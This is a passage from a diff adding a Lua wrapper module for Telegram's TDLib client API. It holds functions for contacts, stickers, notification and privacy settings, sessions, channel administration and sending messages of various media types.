"BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, 